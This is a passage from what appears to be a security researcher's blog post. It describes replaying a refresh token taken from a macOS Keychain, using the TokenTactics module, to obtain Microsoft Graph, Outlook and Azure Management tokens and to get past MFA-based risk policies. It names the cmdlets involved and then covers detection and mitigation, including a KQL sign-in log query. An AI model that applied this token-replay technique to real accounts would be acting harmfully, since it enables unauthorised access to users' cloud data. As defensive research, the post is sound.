In this example, I’m using the PowerShell module “TokenTactics” to demonstrate the replay and abuse of the described token(s). It allows to request new refresh and access tokens (RT/AT) for other 1st party applications in Microsoft Azure AD.
As already discussed, the refresh token of “Microsoft Bing Search for Microsoft Edge” (2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8) is one of the “Family Refresh Tokens” (FOCI).
The “Token handler” in the “TokenTactics” module uses the “ClientId” of “Microsoft Office” to get other refresh and access tokens to FOCI apps. But this can be also replaced by other FOCI apps (e.g. Microsoft Azure Management):
I’ve extracted the secret of “Microsoft Bing Search for Microsoft Edge” from the Keychain entry and provided them as “RefreshToken” parameter to the “RefreshTo-MSGraphToken” cmdlet:
Even if Microsoft Graph is not a direct known FOCI “family” client, I’m able to get an access token to this resource as part of the “Microsoft Office” resource delegation. The issued access token can be used to get full scoped (delegated) access to the Microsoft Graph API. For example, by using „Microsoft.Graph SDK“ and using the “AccessToken” parameter in the “Connect-MgGraph“ cmdlet:
Another example: I’m able to get a refresh and access token to Microsoft Outlook which includes also a wide range of user scope:
Using “RefreshTo-AzureManagementToken” cmdlet allows to request a refresh or access token for “Azure Management” if the affected user has privileged access to Azure resources and no Conditional Access policy protects privileged interfaces (enforce usage of SAW/PAW devices with Device Filters). Otherwise, you should receive this error message:
Sign-ins will be audited in the “non-interactive” sign-in logs and displays “Microsoft Office” as application because “Token Tactics” is using (by default) this “ClientId” to get access to other FOCI apps and delegated resources (Microsoft Graph):
Sign-in logs shows “MacOs” as operating system because it’s included in the original refresh token. User Agent covers the current value of requests to refresh or access token but can be easily manipulated. Token tactics includes a “Browser” and “Device” parameter to change the values. Therefore, triggering a mismatch between Operating System in “UserAgentString” and “Device Info” isn’t a good indicator:
union SigninLogs, AADNonInteractiveUserSignInLogs
| extend operatingSystem = tostring(parse_json(DeviceDetail_string).operatingSystem)
| extend Browser = tostring(parse_json(DeviceDetail_string).browser)
| project TimeGenerated, Category, IPAddress, AppDisplayName, ResourceDisplayName, operatingSystem, Browser, UserAgent
Microsoft offers many different sign-in risk detections which also applies to replay tokens from a macOS device and further requests of refresh or access tokens.
One of the latest added detections is named “Anomalous Token” which detects “abnormal characteristics” or if a token “has been played from a unfamiliar locations”. During my tests, this risk detection was triggered once.
There’s one challenge of all risk detection: Even a token was replayed from a source with a detected risky IP address, the replayed refresh tokens contains a strong authentication (MFA) claim which allows to “pass” sign-in risk policies with “Require MFA” access control.
As already named, sign-in risk policy could be easily “by passed” (self-remediation) because of the included strong authentication claimed in the replayed token.
New session sign-in frequency option to require re-authentication can be scoped on users based on defined sign-in or user risk levels:
This offers the opportunity to expire presented MFA claim in the replayed token:
Microsoft has been implemented CAE to trigger re-evaluation of Conditional Access policies if a condition has been changed (e.g. IP/location change or risk state of user). Unfortunately, this works only if you are using a CAE-capable client. This isn’t the case in my described token replay scenarios.
Until now, CAE can not be enforced for certain users and clients. Therefore, the trigger event could not be used as solution to revoke the replayed token. Nevertheless, CAE is an essential improvement in token security and resiliency and will become more and more applicable.
The described scenarios includes a macOS device which is not full managed by Microsoft Intune. I would recommend you to limit the token lifetime of refresh token on such kind of devices. Session management settings (sign-in frequency control) in Conditional Access allows to reduce the time window for abusing a valid cached tokens.
Limit local administrator permissions for macOS users to reduce attack surface on changing (local) macOS user passwords to get access to the Keychain. Define a strong device compliance including the machine risk score for detection on suspicious client activities by Microsoft Defender for Endpoint.
Microsoft protects cached tokens on OS-level in Windows. Many features are included to avoid exfiltration of “Primary Refresh Token” (PRT) and also detections from MDE. A new risk detection is also available in “Azure AD Identity Protection” to ingest alert from Windows devices if someone try to access the PRT. This seems not be working on macOS. Therefore, unlock events from users to get access or dump Keychain entries should be strictly monitored.
Thanks to Nestori Syynimaa and Oliver Kieselbach for sparring on this topic.
Cover image original by Sergey Zolkin
]]>